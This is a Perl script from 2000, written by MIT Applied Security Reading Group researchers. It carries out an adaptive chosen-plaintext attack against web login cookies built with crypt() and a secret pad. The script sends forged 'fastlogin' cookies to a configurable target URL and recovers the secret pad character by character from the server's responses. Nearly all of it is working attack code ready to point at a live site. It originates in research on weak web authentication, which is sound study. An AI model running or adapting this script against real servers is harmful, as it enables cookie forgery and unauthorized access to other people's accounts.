#!/usr/bin/perl # cryptquery.pl # Copyright (C) 2000 Applied Security Reading Group. # Unlimited redistribution permitted. # http://pdos.lcs.mit.edu/asrg/ # This script requires the LWP module and its prerequisites. # You can get them from www.CPAN.org # Written by Kevin Fu and Dave Andersen # This script uses an adaptive chosen plaintext attack to undercover # the semi-secret used in crypt(). This assumes the semi-secret "pad" # is simply appended to the input (a username) before calling crypt(). # It also assumes the crypt() function on the server ignores everything # after the 8th character. use LWP::UserAgent; use HTTP::Cookies; ##### These are variables you need to set before running the script # The well-known 2-char salt $mysalt = "sK"; # A URL that returns response code 200 if cookie ok, or any other # code if cookie not authentic. #$url = "http://somewhere/somepage.html"; # A file that contains any other cookies necessary # to load the URL. Netscape format. E.g., ~/.netscape/cookies $cookiefile = "/tmp/cookies.txt"; $ua = new LWP::UserAgent; $ua->agent("Mozilla/8.0"); # Why not? $request = new HTTP::Request ('GET', $url); # Load any optional cookies from the "./cookies.txt" file # If you can't figure out how, you shouldn't use this script. $cookie = HTTP::Cookies::Netscape->new ( File => $cookiefile, AutoSave => 0, ); # Start with 7-character username to find the left-most padding char $username = "bitdiddl"; # What we know about the padding appended to the input of crypt. $pad = ""; # Try every possible character for the current pad character $iteration = 1; for ($count = 0; $count <= 128; $count++) { $guess = sprintf("%c", $count); $out = crypt ($username . $pad . $guess, $mysalt); print " [$count]\n"; # Disable the above print if you want to run faster. $cookie->set_cookie(1, "fastlogin" => "$username$out", "/", ".somedomain.com"); $cookie->add_cookie_header($request); $ua->cookie_jar( $cookie ); $response = $ua->simple_request( $request ); if ($response->is_success) { # print $request->as_string(); # print $response->content; $pad = $pad . $guess; if ((20 <= $count) && ($count <= 126)) { # Printable character print "SUCCESS: [$guess] : $out\n"; print "Secret so far: $pad\n"; } else { print "SUCCESS: [ASCII decimal $count] : $out\n"; } } # else { # print $request->as_string(); # print "FAILED: ", $response->code, " ", $response->message, "\n"; # } if ($iteration == 8) { print "Exhausted. Pad is so far: $pad\n"; exit; } $iteration++; # So that we don't flood the web server with requests sleep 1; }